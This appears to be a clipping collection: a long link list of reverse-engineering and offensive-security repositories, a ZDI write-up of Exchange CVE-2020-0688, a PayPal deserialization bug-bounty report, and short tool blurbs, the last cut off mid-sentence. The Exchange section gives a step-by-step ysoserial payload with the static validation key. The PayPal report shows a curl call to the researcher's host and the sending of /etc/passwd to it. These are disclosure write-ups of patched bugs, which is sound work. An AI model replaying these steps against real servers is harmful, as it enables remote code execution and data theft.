## deobfuscation

  * https://github.com/mmyydd/relative-pattern
  * https://github.com/SCUBSRGroup/OLLVM\_Deobfuscation

## taint analyse

  * https://github.com/cea-sec/miasm \(blackhat 2018\)
  * https://bbs.pediy.com/thread-230299.htm
  * https://bbs.pediy.com/thread-230105.htm
  * https://bbs.pediy.com/thread-226603.htm
  * https://bbs.pediy.com/thread-224353.htm
  * https://bbs.pediy.com/thread-223849.htm
  * https://github.com/airbus-seclab/bincat
  * https://github.com/SCUBSRGroup/Taint-Analyse
  * https://github.com/airbus-seclab/bincat
  * https://github.com/SCUBSRGroup/Taint-Analyse
  * https://github.com/piscou/FuzzWin

## bin diff

  * https://www.zynamics.com/bindiff.html
  * https://github.com/joxeankoret/diaphora
  * https://github.com/ExpLife/binarydiffer
  * https://github.com/ExpLife/patchdiff2\_ida6
  * https://github.com/ExpLife/patchdiff2

## x64dbg plugin

  * https://github.com/ThunderCls/xAnalyzer
  * https://github.com/mrexodia/TitanHide
  * https://github.com/x64dbg/InterObfu
  * https://github.com/x64dbg/ScyllaHide
  * https://github.com/Nukem9/SwissArmyKnife
  * https://github.com/x64dbg/x64dbg/wiki/Plugins

## live kernel debug

  * https://samsclass.info/126/proj/p12-kernel-debug-win10.htm?tdsourcetag=s\_pctim\_aiomsg
  * https://gds89.wordpress.com/2010/05/19/windows-7-x64-local-and-live-kernel-debugging/

## windbg plugin

  * https://codeday.me/bug/20171003/80216.html
  * http://virtualkd.sysprogs.org/
  * https://github.com/VincentSe/WatchTrees

## ida script & plugin

  * https://github.com/RolfRolles/HexRaysDeob \(deobfuscate\)
  * https://github.com/icewall/BinDiffFilter
  * https://github.com/devttys0/ida/
  * https://github.com/dude719/SigMaker-x64 \(pat2sig\)
  * https://github.com/fireeye/flare-ida \(idb2pat\)
  * https://zznop.github.io/bnida/
  * https://github.com/zyantific/IDASkins
  * https://github.com/eugeii/ida-consonance
  * https://github.com/mwrlabs/win\_driver\_plugin
  * https://github.com/igogo-x86/HexRaysPyTools
  * https://github.com/techbliss/Python\_editor
  * https://github.com/tmr232/Sark
  * http://sark.readthedocs.io/en/latest/debugging.html
  * https://bbs.pediy.com/thread-224627.htm \(wing debugging idapython script\)

## ida sig maker

  * https://blog.csdn.net/lixiangminghate/article/details/81352205

## idapython

  * http://www.h4ck.org.cn/2011/07/ida-pe6-dll-unpack/
  * https://www.anquanke.com/post/id/151898
  * https://www.anquanke.com/post/id/85890
  * https://www.cnblogs.com/17bdw/p/7785469.html
  * https://4hou.win/wordpress/?cat=1178 \(pin & ida\)
  * https://wizardforcel.gitbooks.io/grey-hat-python/
  * http://spd.dropsec.xyz/2016/10/05/IDAPython%E5%AE%89%E8%A3%85/
  * http://spd.dropsec.xyz/2017/04/09/%E7%AC%A6%E5%8F%B7%E6%89%A7%E8%A1%8C-%E5%9F%BA%E4%BA%8Epython%E7%9A%84%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%88%86%E6%9E%90%E6%A1%86%E6%9E%B6angr/
  * http://spd.dropsec.xyz/2016/10/16/IDAPython%E8%84%9A%E6%9C%AC%E4%B9%8B%E6%94%B6%E9%9B%86%E5%87%BD%E6%95%B0%E7%9A%84%E8%B0%83%E7%94%A8%E4%BF%A1%E6%81%AF/
  * http://www.freebuf.com/sectool/92107.html
  * http://www.freebuf.com/sectool/92168.html
  * http://www.freebuf.com/articles/system/92488.html
  * http://www.freebuf.com/articles/system/92505.html
  * http://www.freebuf.com/articles/system/93440.html
  * https://www.fortinet.com/blog/threat-research/rewriting-idapython-script-objc2-xrefs-helper-py-for-hopper.html
  * https://sark.readthedocs.io/en/latest/debugging.html
  * https://cartermgj.github.io/2017/10/10/ida-python/
  * https://security.tencent.com/index.php/blog/msg/4
  * https://wingware.com/doc/howtos/idapython
  * http://www.somersetrecon.com/blog/2018/7/6/introduction-to-idapython-for-vulnerability-hunting
  * http://0xeb.net/2018/02/writing-a-simple-x86-emulator-with-idapython/
  * http://0xeb.net/2018/02/writing-a-simple-x86-emulator-with-idapython/
  * https://resources.infosecinstitute.com/saving-time-effort-idapython/\#gref
  * https://www.thezdi.com/blog/2018/5/21/mindshare-walking-the-windows-kernel-with-ida-python
  * https://www.thezdi.com/blog/2018/7/19/mindshare-an-introduction-to-pykd
  * https://www.thezdi.com/blog/2018/6/26/mindshare-variant-hunting-with-ida-python
  * http://www.mopsled.com/2016/add-shortcut-for-idapython-script-ida-pro/
  * http://blog.sina.com.cn/s/blog\_9f5e368a0102wnmm.html
  * https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/october/python-class-informer-an-idapython-plugin-for-viewing-run-time-type-information-rtti/
  * https://www.pydoc.io/pypi/python-idb-0.4.0/autoapi/analysis/index.html
  * https://securityxploded.com/api-call-tracing-with-pefile-pydbg-and-idapython.php
  * https://www.cnblogs.com/0xJDchen/p/7527236.html
  * http://www.williballenthin.com/blog/2015/09/04/idapython-synchronization-decorator/
  * https://www.fireeye.com/blog/threat-research/2015/01/flare\_ida\_pro\_script.html
  * https://bbs.pediy.com/thread-226983.htm
  * https://www.trustwave.com/Resources/SpiderLabs-Blog/Defeating-Flame-String-Obfuscation-with-IDAPython/
  * https://www.anquanke.com/post/id/151898
  * https://edoc.site/idapython-bookpdf-pdf-free.html
  * https://serializethoughts.com/tag/idapython/
  * https://exploiting.wordpress.com/2011/12/06/quickpost-idapython-script-to-identify-unrecognized-functions/
  * http://barbie.uta.edu/~xlren/Diaphora/diaphora\_help.pdf
  * https://www.jianshu.com/p/ee789e8acb03
  * http://blog.51cto.com/watertoeast/2084700
  * http://blog.51cto.com/watertoeast/1352787
  * https://blog.clamav.net/2014/02/generating-clamav-signatures-with.html
  * https://www.mnin.org/write/2006\_extract\_xor.pdf
  * http://www.hexacorn.com/blog/2015/12/21/idapython-making-strings-decompiler-friendly/
  * http://standa-note.blogspot.com/2015/01/arm-exception-handling-and-idapython.html
  * http://codegist.net/code/idapython-script/
  * https://reverseengineering.stackexchange.com/questions/16055/idapython-get-xrefs-to-a-stack-variable

## pykd

  * https://www.anquanke.com/post/id/86909
  * https://www.anquanke.com/post/id/86896
  * https://www.anquanke.com/post/id/83205
  * https://blog.csdn.net/jimoguilai/article/details/25286029
  * https://blog.csdn.net/jimoguilai/article/details/29827283
  * https://blog.csdn.net/jimoguilai/article/details/38122863
  * https://blog.csdn.net/linux\_vae/article/details/77532758
  * https://blog.csdn.net/linux\_vae/article/details/77532758
  * https://blog.csdn.net/ambihan/article/details/35775933
  * https://www.zerodayinitiative.com/blog/2018/7/19/mindshare-an-introduction-to-pykd
  * https://www.cnblogs.com/fanzi2009/archive/2012/12/10/2811543.html
  * https://cloud.tencent.com/developer/article/1005628
  * http://eternalsakura13.com/2018/07/03/firefox\_env/
  * https://binvoke.com/inline-assembly-in-x64/
  * https://webstersprodigy.net/2014/01/06/soft-function-hooking-with-windbg-and-pykd/
  * https://rayanfam.com/topics/pykd-tutorial-part1/
  * https://rayanfam.com/topics/pykd-tutorial-part2/
  * https://labs.mwrinfosecurity.com/blog/heap-tracing-with-windbg-and-python/
  * http://www.miguelventura.pt/scripting-windbg-with-pykd.html
  * https://labs.nettitude.com/blog/windbg-using-pykd-to-dump-private-symbols/
  * https://webstersprodigy.net/2014/01/06/soft-function-hooking-with-windbg-and-pykd/
  * https://www.cnblogs.com/fanzi2009/archive/2012/12/10/2811543.html
  * http://www.freebuf.com/articles/system/103816.html
  * https://bbs.pediy.com/thread-224904.htm
  * http://theevilbit.blogspot.com/2017/09/pool-spraying-fun-part-1.html
  * http://theevilbit.blogspot.com/2017/09/windows-kernel-pool-spraying-fun-part-2.html
  * http://theevilbit.blogspot.com/2017/09/windows-kernel-pool-spraying-fun-part-3.html
  * http://theevilbit.blogspot.com/2017/09/windows-kernel-pool-spraying-fun-part-4.html

## rpc

  * https://github.com/gentilkiwi/basic\_rpc

## hash dump

  * https://github.com/gentilkiwi/mimikatz

## auxiliary lib

  * https://github.com/David-Reguera-Garcia-Dreg/auxlib

## ring3 nt api

  * https://github.com/Chuyu-Team/NativeLib

## dll hijack

  * https://github.com/strivexjun/AheadLib-x86-x64

## winpcap

  * https://github.com/klemenb/fiddly
  * http://blog.csdn.net/Ni9htMar3/article/details/54612394
  * https://www.cnblogs.com/xcj26/articles/6073411.html
  * http://www.freebuf.com/articles/system/103526.html
  * https://github.com/illahaha/zxarps \(arpcheat\)
  * https://github.com/sincoder/zxarps \(arpcheat\)

## metasploit

  * https://github.com/ExpLife/metasploit-framework
  * https://github.com/NytroRST/NetRipper
  * https://github.com/breenmachine/RottenPotatoNG

## shadow

  * https://github.com/lcxl/lcxl-shadow

## http

  * https://github.com/OlehKulykov/libnhr
  * https://github.com/erickutcher/httpdownloader

## https proxy

  * http://anyproxy.io/cn/
  * https://github.com/killbug2004/HttpsProxy
  * https://github.com/erickutcher/httpproxy

## sock proxy

  * https://github.com/liulilittle/PaperAirplane

## mitm

  * https://github.com/sipt/shuttle \(GO\)
  * https://github.com/conorpp/MiTM-HTTP-Proxy
  * https://github.com/moxie0/sslsniff
  * https://github.com/wuchangming/node-mitmproxy
  * https://github.com/hostilefork/flatworm
  * https://github.com/progtramder/webproxy
  * https://github.com/empijei/wapty
  * https://github.com/xxxxnnxxxx/HttpProxy
  * https://github.com/astibal/smithproxy
  * https://github.com/TechnikEmpire/CitadelCore
  * https://github.com/TechnikEmpire/HttpFilteringEngine
  * https://blog.csdn.net/kunyus/article/details/78679717
  * https://github.com/liuyufei/SSLKiller
  * http://blog.csdn.net/Tencent\_Bugly/article/details/72626127
  * https://github.com/pfussell/pivotal

## ssl

  * https://github.com/edwig/SSLSocket

## json

  * https://github.com/marcusbotacin/MyJSON

## awesome

  * https://github.com/Escapingbug/awesome-browser-exploit
  * https://github.com/CaledoniaProject/awesome-opensource-security
  * https://github.com/rshipp/awesome-malware-analysis
  * https://github.com/lmy375/awesome-vmp
  * https://github.com/ksluckow/awesome-symbolic-execution
  * https://github.com/szysec/ctftest
  * https://stackoverflow.com/questions/4946685/good-tutorial-for-windbg
  * https://github.com/rmusser01/Infosec\_Reference
  * https://github.com/sam-b/windows\_kernel\_resources
  * https://github.com/EbookFoundation/free-programming-books
  * https://github.com/justjavac/free-programming-books-zh\_CN
  * https://github.com/rmusser01/Infosec\_Reference/
  * https://github.com/jshaw87/Cheatsheets
  * https://github.com/RPISEC/MBE

## windows Driver Kit ddi \(device driver interface\) documentation

  * https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ddi/
  * https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-scripting-preview

## windbg preview & jsprovider

  * https://bbs.pediy.com/thread-246449.htm
  * http://doar-e.github.io/blog/2017/12/01/debugger-data-model/

## anti-anti-vm

  * https://github.com/hzqst/VmwareHardenedLoader

## vm

  * https://github.com/tboox/vm86

## tools

  * http://bytepointer.com/tools/index.htm\#peupdate
  * https://github.com/endgameinc/xori \(Dissasemblers blackhat 2018\)
  * http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/

## post-exploitation

  * https://github.com/francisck/DanderSpritz\_lab
  * https://github.com/francisck/DanderSpritz\_docs

## nsa security tools

  * https://github.com/exploitx3/FUZZBUNCH
  * https://github.com/fuzzbunch/fuzzbunch
  * https://github.com/peterpt/fuzzbunch

## apt

  * https://github.com/CyberMonitor/APT\_CyberCriminal\_Campagin\_Collections
  * https://github.com/kbandla/APTnotes
  * https://attack.mitre.org/wiki/Groups
  * https://github.com/fdiskyou/threat-INTel

## 3rd party library

  * https://github.com/kingsamchen/WinAntHttp
  * https://github.com/kingsamchen/KAdBlockEngine
  * https://github.com/kingsamchen/KLog
  * https://github.com/kingsamchen/Eureka
  * https://zh-cn.libreoffice.org/
  * https://github.com/GiovanniDicanio/WinReg
  * https://github.com/GiovanniDicanio/StopwatchWin32
  * https://github.com/Wintellect/ProcMonDebugOutput
  * https://github.com/GiovanniDicanio/ReadStringsFromRegistry
  * https://github.com/GiovanniDicanio/Utf8ConvAtlStl
  * https://github.com/GiovanniDicanio/StringPool
  * https://github.com/GiovanniDicanio/MapWithCaseInsensitiveStringKey
  * https://github.com/GiovanniDicanio/SafeArraySamples
  * https://github.com/GiovanniDicanio/TestSSO
  * https://github.com/GiovanniDicanio/DoubleNulTerminatedString
  * https://github.com/GiovanniDicanio/LoadingCedictBenchmarkCpp
  * https://github.com/GiovanniDicanio/TestStringSorting
  * https://github.com/GiovanniDicanio/UnicodeConversions
  * https://github.com/GiovanniDicanio/TestStringsAtlVsStl
  * https://github.com/GiovanniDicanio/UnicodeConversionAtl
  * https://github.com/GiovanniDicanio/StlVectorVsListPerformance

## rpc

  * https://github.com/muxq/hellorpc

## miscellaneous

  * https://rayanfam.com/topics/inline-assembly-in-x64/ \(x64 inline asm\)
  * https://www.jianshu.com/p/15be72d919ff \(traversing the icon on the desktop\)
  * https://github.com/nshalabi/SysmonTools
  * https://github.com/nshalabi/ATTACK-Tools
  * https://github.com/ExpLife0011/hf-2012
  * https://github.com/tyranid/windows-attacksurface-workshop/ \(2018\)
  * https://github.com/CherryPill/system\_info
  * https://github.com/muxq/DPAPI
  * https://github.com/ExpLife/directntapi
  * https://github.com/gaozan198912/myproject
  * https://github.com/k0keoyo/ntoskrnl-symbol-pdb-and-undocument-structures
  * https://github.com/gentilkiwi/p11proxy
  * https://github.com/gentilkiwi/kekeo
  * https://github.com/ExpLife/ByPassCfg
  * https://github.com/hfiref0x/SXSEXP
  * https://github.com/hfiref0x/VBoxHardenedLoader
  * https://github.com/hfiref0x/SyscallTables
  * https://github.com/hfiref0x/WinObjEx64
  * https://github.com/Cr4sh/DbgCb
  * https://github.com/Cr4sh/s6\_pcie\_microblaze
  * https://github.com/ionescu007/SpecuCheck
  * https://github.com/ionescu007/lxss
  * https://github.com/intel/haxm
  * https://github.com/akayn/Resources
  * https://github.com/DarthTon/SecureEraseWin
  * https://github.com/hfiref0x/UACME
  * https://github.com/tinysec/windows-syscall-table
  * https://github.com/tinysec/jsrt
  * https://github.com/zodiacon/DriverMon
  * https://github.com/zodiacon/GflagsX
  * https://github.com/zodiacon/PEExplorer
  * https://github.com/zodiacon/KernelExplorer
  * https://github.com/zodiacon/AllTools
  * https://github.com/zodiacon/WindowsInternals
  * https://github.com/hackedteam/vector-silent
  * https://github.com/hackedteam/core-packer
  * https://github.com/hackedteam/vector-recover
  * https://github.com/k33nteam/cc-shellcoding
  * https://github.com/rwfpl/rewolf-wow64ext
  * https://github.com/rwfpl/rewolf-x86-virtualizer
  * https://github.com/rwfpl/rewolf-gogogadget
  * https://github.com/rwfpl/rewolf-dllpackager
  * https://github.com/Microsoft/ChakraCore
  * https://github.com/google/symboliclink-testing-tools
  * https://github.com/ptresearch/IntelME-JTAG
  * https://github.com/smourier/TraceSpy
  * https://github.com/G-E-N-E-S-I-S/tasklist-brutus
  * https://github.com/G-E-N-E-S-I-S/token\_manipulation
  * https://github.com/jjzhang166/sdk
  * https://github.com/killswitch-GUI/HotLoad-Driver
  * https://github.com/killswitch-GUI/minidump-lib
  * https://github.com/killswitch-GUI/win32-named-pipes-example
  * https://github.com/Kelvinhack/ScreenCapAttack
  * https://github.com/tyranid/oleviewdotnet
  * https://github.com/tyranid/CANAPE.Core
  * https://github.com/tyranid/DotNetToJScript

## slides

  * https://rmusser.net/docs/
  * https://keenlab.tencent.com/zh

## blogs

  * https://www.fwhibbit.es/sysmon-the-big-brother-of-windows-and-the-super-sysmonview
  * https://dedbg.com/
  * https://leguanyuan.blogspot.com
  * http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/profile/bugdemo.htm
  * https://blog.can.ac
  * https://b33t1e.github.io/2018/01/03/About-VMProtect/
  * http://www.diting0x.com/
  * http://lotabout.me/archives/ \(write a c interpreter\)
  * http://2997ms.com/2016/10/09/2016/2016-9%E6%9C%88-%E5%90%AD%E5%93%A7%E5%92%94%E5%93%A7/
  * http://www.trueai.cn/
  * https://whereisk0shl.top
  * https://www.anquanke.com/post/id/97245
  * https://lifeinhex.com
  * https://vallejo.cc/2017/11/18/installation-and-first-contact-with-the-new-windbg/
  * http://www.vxjump.net/
  * https://channel9.msdn.com/Shows/Defrag-Tools
  * http://windbg.info/
  * http://windbg.org/
  * https://msdn.microsoft.com/en-us/library/windows/hardware/ff553217\(v=vs.85\).aspx
  * http://www.andreybazhan.com/
  * https://blogs.technet.microsoft.com/markrussinovich/
  * http://undocumented.ntinternals.net/
  * http://j00ru.vexillium.org/
  * https://sysprogs.com/
  * http://www.rohitab.com/
  * https://sww-it.ru/
  * http://blogs.microsoft.co.il/pavely/
  * https://www.corelan.be/
  * http://tombkeeper.blog.techweb.com.cn/
  * http://www.zer0mem.sk/
  * http://blog.rewolf.pl/blog/
  * http://www.alex-ionescu.com/
  * http://blog.cr4.sh/
  * https://rootkits.xyz/
  * https://ixyzero.com/blog/archives/3543.html
  * https://whereisk0shl.top/
  * http://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html
  * http://doar-e.github.io/blog/2017/12/01/debugger-data-model/
  * https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-using-windbg-preview
  * https://blog.xpnsec.com/
  * https://www.fireeye.com/blog/threat-research/2018/01/simplifying-graphs-in-ida.html
  * http://gosecure.net/2018/01/10/vmware-horizon-v4h-v4pa-desktop-agent-privilege-escalation-vulnerability-cve-2017-4946/
  * http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation

## web security research site

  * https://malwaretips.com/
  * https://www.sec-wiki.com
  * https://www.anquanke.com/
  * http://xuanwulab.github.io/cn/secnews/2018/02/08/index.html
  * http://www.vxjump.net/
  * https://www.pediy.com/
  * https://navisec.it/
  * http://www.secbang.com/

## development documents

  * http://devdocs.io/
  * https://zealdocs.org/

## docker

  * http://dockone.io/search/q-RG9ja09uZeaKgOacr+WIhuS6qw==\#articles

## leaked source code

  * https://github.com/misterch0c/shadowbroker \(NSA\)
  * https://github.com/pustladi/Windows-2000
  * https://github.com/killbug2004/NT\_4.0\_SourceCode
  * https://github.com/pustladi/TrueCrypt-7.2
  * https://github.com/pustladi/MS-DOS-v.1.1
  * https://github.com/pustladi/MS-DOS-v.2.0

## sspi

  * https://github.com/deemru/msspi
  * https://github.com/vletoux/DetectPasswordViaNTLMInFlow
  * https://github.com/judek/sspiauthenticate
  * https://github.com/BobCatC/xSspi
  * https://github.com/sishtiaq/SampleSSPICode
  * https://github.com/liamkirton/sslpyfilter
  * https://github.com/bschlenk/gsspp

## openssl

  * https://github.com/hioa-cs/IncludeOS/blob/fd92a5394b493b5b645b2123966d38c1576df250/src/net/https/openssl\_server.cpp\#L72
  * https://github.com/robertblackwell/marvincpp
  * https://github.com/equalitie/ouinet
  * https://github.com/LiTianjue/mite-note
  * https://blog.csdn.net/dotalee/article/details/78041691
  * https://www.cnblogs.com/kennyhr/p/3746048.html

## pdb

  * https://github.com/wbenny/pdbex

## gpu

  * https://github.com/Volkanite/Push

## crypto api

  * https://github.com/maldevel/AES256
  * https://github.com/wbenny/mini-tor
  * https://github.com/wyrover/CryptoAPI-examples
  * https://github.com/fmuecke/CryptoApi
  * https://github.com/ViartX/CacheCrypto
  * https://github.com/Deerenaros/CryptoAPIWrapper
  * https://github.com/maldevel/SHA256
  * https://github.com/13g10n/crypto

## iot sec

  * https://iot.sec-wiki.com/

## ascii banner

  * http://www.network-science.de/ascii/
  * http://www.degraeve.com/img2txt.php

## book code

  * https://github.com/yifengyou/32to64
  * https://github.com/elephantos/elephant
  * https://github.com/yifengyou/Android-software-security-and-reverse-analysis
  * https://github.com/yifengyou/Code-virtualization-and-automation-analysis
  * https://github.com/yifengyou/Software-protection-and-analysis-techniques---principles-and-practices
  * https://github.com/yifengyou/X86-assembly-language-from-real-mode-to-protection-mode

## regex

  * https://github.com/zeeshanu/learn-regex

## ebook

  * http://www.foxebook.net/

## library

  * https://www.ctolib.com/

  

# Zero Day Initiative — CVE-2020-0688: Remote Code Execution on Microsoft
Exchange Server Through Fixed Cryptographic Keys

**Created:**| _2/27/2020 5:39:56 AM_  
---|---  
**Updated:**| _2/27/2020 5:39:56 AM_  
**Author:**| __  
**Tags:**| __  
  

  

#  CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through
Fixed Cryptographic Keys

February 25, 2020 | Simon Zuckerbraun
SUBSCRIBE

This most recent Patch Tuesday, Microsoft released an Important-rated patch to
address a remote code execution bug in Microsoft Exchange Server. This
vulnerability was reported to us by an anonymous researcher and affects all
supported versions of Microsoft Exchange Server up until the recent patch.
Here’s a quick video of the bug in action:

Initially, Microsoft stated this bug was due to a memory corruption
vulnerability and could be exploited by a specially crafted email sent to a
vulnerable Exchange server. They have since revised their write-up to
\(correctly\) indicate that the vulnerability results from Exchange Server
failing to properly create unique cryptographic keys at the time of
installation.

Specifically, the bug is found in the Exchange Control Panel \(ECP\)
component. The nature of the bug is quite simple. Instead of having randomly-
generated keys on a per-installation basis, all installations of Microsoft
Exchange Server have the same `validationKey` and `decryptionKey` values in
`web.config`. These keys are used to provide security for ViewState. ViewState
is server-side data that ASP.NET web applications store in serialized format
on the client. The client provides this data back to the server via the
`__VIEWSTATE` request parameter.

<img src='img/13039_Picture1.png' width='702' height='96' />

_Figure 1: Excerpt of the web.config file containing the static
validationKey._

Due to the use of static keys, an authenticated attacker can trick the server
into deserializing maliciously crafted ViewState data. With the help of
YSoSerial.net, an attacker can execute arbitrary .NET code on the server in
the context of the Exchange Control Panel web application, which runs as
`SYSTEM`.

To exploit this vulnerability, we need to collect the `ViewStateUserKey` and
the `__VIEWSTATEGENERATOR` values from an authenticated session. The
`ViewStateUserKey` can be obtained from the ASP.NET `_SessionID` cookie, while
the `ViewStateUserKey` can be found in a hidden field. All this can be easily
obtained using standard developer tools within the browser.

To begin, browse to the `/ecp/default.aspx` page and log in. The account used
does not need to have any special privileges. In this example, we are using an
account named `user`:

<img src='img/Picture2.png' width='700' height='320' />

To continue, we need to gather some information. The most valuable part is
already known:

`validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF`  
`validationalg = SHA1`

To obtain the `ViewStateUserKey` and the `__VIEWSTATEGENERATOR`, open the
Network tab of Dev Tools \(F12\) and resend the request by hitting F5. We need
the raw response of the request to `/ecp/default.aspx` while logged in:

<img src='img/Picture3.png' width='700' height='380' />

As you can see, the `__VIEWSTATEGENERATOR` value is visible in page source. In
this example, its value is `B97B4E27`. In all likelihood, your value will be
the same. Next, open the `Headers` tab and find the `ASP.NET_SessionId` cookie
in `Request headers`:

<img src='img/Picture4.png' width='700' height='383' />

In this example, its value is `05ae4b41-51e1-4c3a-9241-6b87b169d663`.

We now have all the information needed to conduct an attack:  
`--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF`  
`--validationalg = SHA1`  
`--generator = B97B4E27`  
`--viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663`

The next step is to generate a ViewState payload using ysoserial.net. We’ll
generate a payload that demonstrates code execution by creating the file
`C:\Vuln_Server.txt`:

`ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! >
c:/Vuln_Server.txt" --validationalg="SHA1"
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
--generator="B97B4E27"
--viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy`

<img src='img/Picture5.png' width='700' height='255' />

Finally, we need to URL-encode the ViewState payload and construct a URL as
follows:

`/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>`

substituting the generator and URL-encoded ViewState obtained above.

We then submit the resulting URL to the Exchange server simply by pasting it
into the browser address bar:

<img src='img/Picture6.png' width='700' height='314' />

The server complains of a `500 Unexpected Error`, but the attack succeeds.
Examining the effect on the target server:

<img src='img/Picture9.png' width='701' height='469' />

Sure enough, the file `Vuln_Server.txt` now exists. Examining ownership
information on the file confirms it was created by a process with a SYSTEM
token.

<img src='img/Picture10.png' width='701' height='416' />

This demonstrates that an attacker can execute arbitrary code as SYSTEM and
fully compromise the target Exchange server.

**Conclusion**

Microsoft patched this vulnerability in February 2020 as CVE-2020-0688.
According to their write-up, they addressed this vulnerability by “correcting
how Microsoft Exchange creates the keys during install.” In other words, they
now randomize the cryptographic keys at installation time. Microsoft rated
this as Important in severity, likely because an attacker must first
authenticate. It should be noted, however, that within an enterprise, most any
user would be allowed to authenticate to the Exchange server. Similarly, any
outside attacker who compromised the device or credentials of any enterprise
user would be able to proceed to take over the Exchange server. Having
accomplished this, an attacker would be positioned to divulge or falsify
corporate email communications at will. Accordingly, if you’re an Exchange
Server administrator, you should treat this as a Critical-rated patch and
deploy it as soon as your testing is complete. Microsoft lists this with an
Exploit Index of 1, which means they expect to see exploits within 30 days of
the patch release. As demonstrated, that certainly seems likely.

We would like to thank the anonymous researcher who reported this bug to the
ZDI and provided much of the information in this write-up.

You can find me on Twitter at @HexKitchen, and follow the team for the latest
in exploit techniques and security patches.

  * Microsoft
  * Exchange
  * Exploit

BACK TO THE BLOG

Share

###  CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through
Fixed Cryptographic Keys

Microsoft, Exchange, Exploit

###  Submission Advice for Security Researchers

Program News

###  The February 2020 Security Update Review

Security Patch, Adobe, Microsoft

# Installation von Emacs und AUCTEX unter MS Windows

**Created:**| _12/30/2009 8:19:07 PM_  
---|---  
**Updated:**| _12/30/2009 8:19:24 PM_  
**Author:**| __  
**Tags:**| _windows Emacs_  
  
<img src='img/Temp2_4476' />

# Artsploit: PayPal Remote Code Execution Vulnerability

**Created:**| _1/25/2016 3:01:34 PM_  
---|---  
**Updated:**| _1/25/2016 3:01:34 PM_  
**Author:**| __  
**Tags:**| __  
  

# PayPal Remote Code Execution Vulnerability

In December of 2015 I found a critical vulnerability in one of PayPal business
websites \( manager.paypal.com\) that allowed me to execute arbitrary shell
commands on PayPal web servers via unsafe JAVA object deserialization and get
access to production databases. I immediately reported this bug to PayPal
security team and it was quickly fixed after that.

###  Details

While security testing of manager.paypal.com website, my attention was
attracted by unusual post form parameter “oldForm” that looks like a complex
object after base64 decoding:

<img src='img/Temp2_882.png' />

After some research I realized that it’s a java serialized object without any
signature and It’s handled by the application. It means that you can send to
server serialized object of any existing class and “readObject” \(or
“readResolve”\) method of that class will be called. To exploit this issue,
you need to find a suitable class in application “classpath” which can be
serialized and has something interesting \(from exploitation point of view\)
inside method “readObject”. You can read about this technique in recent
article by FoxGlove Security. A year ago, Chris Frohoff \(@frohoff\) and
Gabriel Lawrence \(@gebl\) did a great job and found suitable classes in
Apache Common Collections library that could lead to remote code execution.
They also released “ysoserial” payload generation tool on their github page.

###  Exploit

I immediately downloaded this tool and generated a simple payload that sends
DNS and HTTP requests to my own server by executing “curl
x.s.artsploit.com/paypal” shell command.

<img src='img/Temp2_881.png' />

Then I sent that base64 encoded payload in “oldFormData” parameter to the
application server and after that I was really impressed when incoming request
from PayPal network appeared in my NGINX access log:

<img src='img/Temp2_880.png' />

I realized that I could execute arbitrary OS commands on manager.paypal.com
web servers and moreover, I could establish a back connection to my own
internet server and, for example, upload and execute a backdoor. In result, I
could get access to production databases used by manager.paypal.com
application.

Instead of that, I just read “/etc/passwd” file by sending it to my server as
a proof of the vulnerability

<img src='img/Temp2_879.png' />

I also recorded a video how to reproduce this vulnerability and reported it to
PayPal security team.

After that, I realized that a lot of other endpoints of manager.paypal.com
application also use serialized objects and could be exploited as well.

About a month later, when PayPal rewarded me with a bounty for this
vulnerability within their Bug Bounty program my report had “Duplicate” status
so, as far as I understand, another researcher Mark Litchfield also reported a
similar vulnerability on 11th of December 2015, two days before my report.
Anyway, PayPal team decided to pay me a good bounty and I have nothing but
respect for them.

# TinyIDS: Distributed intrusion detection system

**Created:**| _4/22/2010 6:50:31 PM_  
---|---  
**Updated:**| _4/22/2010 6:50:48 PM_  
**Author:**| __  
**Tags:**| _security tools research iDS/iPS Distributed systems_  
  

# TinyIDS: Distributed intrusion detection system

Posted on 22 April 2010.

<img src='img/Temp2_8392.gif' width='125' height='16' alt='Bookmark and Share'
/>

<img src='img/Temp2_8391.gif' />TinyIDS is a distributed Intrusion Detection
System \(IDS\) for Unix systems.  
  
It is based on the client/server architecture and has been developed with
security in mind. The client, tinyids, collects information from the local
system by running its collector backends. The collected information may
include anything, from file contents to file metadata or even the output of
system commands.  
  
The client passes all this data through a hashing algorithm and a unique
checksum \(hash\) is calculated. This hash is then sent to one or more TinyIDS
servers \(tinyidsd\), where it is compared with a hash that had been
previously stored in the databases of those remote servers for this specific
client. A response indicating the result of the hash comparison is finally
sent back to the client.  
  
Management of the remotely stored hash is possible through the client's
command line interface. Communication between the client and the server can be
encrypted using RSA public key infrastructure \(PKI\).  
  
TinyIDS is written in Python and is released as open-source software under the
terms of the Apache License version 2.

# wwwg/wasmdec

**Created:**| _12/16/2018 4:12:22 PM_  
---|---  
**Updated:**| _12/16/2018 4:12:22 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# wasmdec

wasmdec is a program that converts WebAssembly binaries to C.

# Demo

An online real-time WebAssembly decompiler utilizing wasmdec is avalible here

# Simple Example

wasmdec will translate this WebAssembly binary:

[code]

    (module
    	(func $addTwo (param i32 i32) (result i32)
    		(return
    			(i32.add (get_local 0) (get_local 1))
    		)
    	)
    	(export "addTwo" $addTwo)
    )
[/code]

To the following pseudo-C code:

[code]

    int fn_addTwo(int arg0, int arg1) {
    	return arg0 + arg1;
    }
[/code]

# More practical examples

### Diep.io \(HTML5 web game written in C++ and compiled to WASM\)

Diep.io is a real time web game written in C++ and compiled to WebAssembly via
